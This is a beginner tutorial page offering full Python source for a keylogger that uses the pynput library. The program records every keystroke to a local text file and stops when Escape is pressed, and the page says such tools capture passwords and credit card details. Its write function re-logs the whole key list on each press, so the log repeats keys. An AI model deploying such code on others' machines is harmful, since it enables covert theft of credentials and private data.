Coders Packet

Keylogger Using Python

By ABHISHEK KUMAR

A Keylogger is a device or Program through which we can detect what is the typed on the System.

1. Project Information.

2. Project Requirement.

3. Details.

4. Source Code.

5. Output.

Project Information:-

A Keylogger is a device or Program through which we can run the system and find what we will type on the system including password and credit card information.

It can be used for both legal activities or illegal.

Mainly it is used by Companies or Organizations to see their activity on the system by their employer.

Because Companies make sure that their company information should not be leaked.

1. Pynput library should be installed.

[pip install pynput]

2. Understanding of Keylogger functionality.

3. Data Storage.

4. Ethical Considerations.

Details:-

The code imports the key and Listener classes from the input. keyboard module allows us to capture keystrokes made on the target system.

A list named that is k is used to store the captured key.

The on_press() function is used when a key is pressed, which will be added or appended in the list [k] and the write_1 function will be called for adding a captured key in the text file.

The on_release() function is used to when the key button was pressed off.  If the key pressed is the ESC key, the position will be returned False, which stops and exit the code.

Source Code:-

from pynput.keyboard import Key, Listener

k=[]
def on_press(key):
    k.append(key)
    write_1(k)
    print(key)

def write_1(var):
    with open("file.txt","a") as f:
        for i in var:
            new_var = str(i).replace(" ' ", ' ')
            f.write(new_var)
            f.write(" ")

def on_release(key):
    if key == Key.esc:
        return False

with Listener(on_press=on_press,on_release=on_release) as l:
     l.join()

 

Output:-

Output

 

Download Complete Code

Comments

No comments yet

Download Packet

Reviews Report

Submitted by ABHISHEK KUMAR (ABHISHEK241)

Download packets of source code on Coders Packet